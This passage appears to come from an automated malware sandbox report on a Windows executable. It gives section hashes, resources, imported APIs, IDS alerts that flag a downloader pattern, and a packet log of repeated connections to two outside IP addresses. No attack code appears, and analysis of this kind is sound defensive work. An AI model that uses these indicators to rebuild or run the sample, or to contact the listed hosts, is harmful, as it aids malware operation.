IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9328	0x9400	495451d7eb8326bd9fa2714869ea6de8	False	0.49002322635135137	data	5.541804843154628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xb2d08	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3308	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb3968	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3cf0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3e48	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3ed0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3ee8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3f00	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3f18	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb40b8	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-09T14:45:15.644619+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49711	193.122.6.168	80	TCP
2024-10-09T14:45:16.566496+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49711	193.122.6.168	80	TCP
2024-10-09T14:45:17.147222+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.12	49713	188.114.96.3	443	TCP
2024-10-09T14:45:17.798405+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.12	49714	193.122.6.168	80	TCP
2024-10-09T14:45:19.102713+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.12	49715	188.114.96.3	443	TCP
2024-10-09T14:45:23.944483+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.12	49722	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 9, 2024 14:45:13.872833014 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:13.877954960 CEST	80	49711	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:13.878035069 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:13.878197908 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:13.883074999 CEST	80	49711	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:15.409717083 CEST	80	49711	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:15.410913944 CEST	80	49711	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:15.411158085 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:15.412327051 CEST	80	49711	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:15.412369013 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:15.413544893 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:15.414058924 CEST	80	49711	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:15.414105892 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:15.420595884 CEST	80	49711	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:15.602896929 CEST	80	49711	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:15.644618988 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:15.649770975 CEST	49712	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:15.649800062 CEST	443	49712	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:15.649960995 CEST	49712	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:15.657625914 CEST	49712	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:15.657634974 CEST	443	49712	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:16.138748884 CEST	443	49712	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:16.138959885 CEST	49712	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:16.143142939 CEST	49712	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:16.143151045 CEST	443	49712	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:16.143568039 CEST	443	49712	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:16.191471100 CEST	49712	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:16.202811003 CEST	49712	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:16.243407011 CEST	443	49712	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:16.318244934 CEST	443	49712	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:16.318308115 CEST	443	49712	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:16.318351984 CEST	49712	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:16.323987007 CEST	49712	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:16.327049017 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:16.331885099 CEST	80	49711	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:16.514153957 CEST	80	49711	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:16.518347025 CEST	49713	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:16.518387079 CEST	443	49713	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:16.518496990 CEST	49713	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:16.519412994 CEST	49713	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:16.519431114 CEST	443	49713	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:16.566495895 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:16.986603022 CEST	443	49713	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:16.988883018 CEST	49713	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:16.988919020 CEST	443	49713	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:17.147228956 CEST	443	49713	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:17.147314072 CEST	443	49713	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:17.147391081 CEST	49713	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:17.148200035 CEST	49713	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:17.152175903 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:17.153493881 CEST	49714	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:17.159152985 CEST	80	49711	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:17.159209967 CEST	49711	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:17.159872055 CEST	80	49714	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:17.159934044 CEST	49714	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:17.160048008 CEST	49714	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:17.166389942 CEST	80	49714	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:17.787153006 CEST	80	49714	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:17.798404932 CEST	49714	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:17.799313068 CEST	49715	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:17.799345016 CEST	443	49715	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:17.799416065 CEST	49715	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:17.799729109 CEST	49715	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:17.799741030 CEST	443	49715	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:17.803636074 CEST	80	49714	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:17.803679943 CEST	49714	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:18.931651115 CEST	443	49715	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:18.933991909 CEST	49715	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:18.934012890 CEST	443	49715	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:19.102739096 CEST	443	49715	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:19.102864981 CEST	443	49715	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:19.102915049 CEST	49715	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:19.103457928 CEST	49715	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:19.108974934 CEST	49716	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:19.114077091 CEST	80	49716	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:19.114185095 CEST	49716	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:19.115308046 CEST	49716	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:19.122852087 CEST	80	49716	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:19.741142988 CEST	80	49716	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:19.742908001 CEST	49717	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:19.742937088 CEST	443	49717	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:19.743032932 CEST	49717	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:19.743408918 CEST	49717	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:19.743423939 CEST	443	49717	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:19.785259962 CEST	49716	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:21.024074078 CEST	443	49717	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:21.026021957 CEST	49717	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:21.026038885 CEST	443	49717	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:21.410423040 CEST	443	49717	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:21.411019087 CEST	443	49717	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:21.411082983 CEST	49717	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:21.411465883 CEST	49717	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:21.414938927 CEST	49716	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:21.416062117 CEST	49718	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:21.420272112 CEST	80	49716	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:21.420346022 CEST	49716	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:21.420851946 CEST	80	49718	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:21.420923948 CEST	49718	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:21.421016932 CEST	49718	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:21.425878048 CEST	80	49718	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:22.046936035 CEST	80	49718	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:22.048218012 CEST	49720	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:22.048233032 CEST	443	49720	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:22.048769951 CEST	49720	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:22.049060106 CEST	49720	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:22.049071074 CEST	443	49720	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:22.097760916 CEST	49718	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:22.530431032 CEST	443	49720	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:22.532004118 CEST	49720	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:22.532040119 CEST	443	49720	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:22.681343079 CEST	443	49720	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:22.681566000 CEST	443	49720	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:22.681685925 CEST	49720	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:22.682172060 CEST	49720	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:22.685039043 CEST	49718	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:22.686273098 CEST	49721	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:22.690510988 CEST	80	49718	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:22.690594912 CEST	49718	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:22.691222906 CEST	80	49721	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:22.691299915 CEST	49721	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:22.691395998 CEST	49721	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:22.696265936 CEST	80	49721	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:23.316754103 CEST	80	49721	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:23.319276094 CEST	49722	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:23.319319010 CEST	443	49722	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:23.319380045 CEST	49722	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:23.319869995 CEST	49722	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:23.319885969 CEST	443	49722	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:23.363363028 CEST	49721	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:23.805131912 CEST	443	49722	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:23.806915998 CEST	49722	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:23.806943893 CEST	443	49722	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:23.944570065 CEST	443	49722	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:23.944691896 CEST	443	49722	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:23.944820881 CEST	49722	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:23.945416927 CEST	49722	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:23.975109100 CEST	49721	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:23.975601912 CEST	49723	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:23.980508089 CEST	80	49723	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:23.980741024 CEST	80	49721	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:23.980846882 CEST	49723	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:23.980848074 CEST	49721	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:23.980896950 CEST	49723	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:23.985769987 CEST	80	49723	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:24.627980947 CEST	80	49723	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:24.629554033 CEST	49724	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:24.629590034 CEST	443	49724	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:24.629878044 CEST	49724	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:24.629904985 CEST	49724	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:24.629909039 CEST	443	49724	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:24.675929070 CEST	49723	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:25.100774050 CEST	443	49724	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:25.102475882 CEST	49724	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:25.102499008 CEST	443	49724	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:25.249043941 CEST	443	49724	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:25.249280930 CEST	443	49724	188.114.96.3	192.168.2.12
Oct 9, 2024 14:45:25.249340057 CEST	49724	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:25.250076056 CEST	49724	443	192.168.2.12	188.114.96.3
Oct 9, 2024 14:45:25.253417969 CEST	49723	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:25.254568100 CEST	49726	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:25.259499073 CEST	80	49723	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:25.259565115 CEST	49723	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:25.260159016 CEST	80	49726	193.122.6.168	192.168.2.12
Oct 9, 2024 14:45:25.260235071 CEST	49726	80	192.168.2.12	193.122.6.168
Oct 9, 2024 14:45:25.260351896 CEST	49726	80	192.168.2.12	193.122.6.168
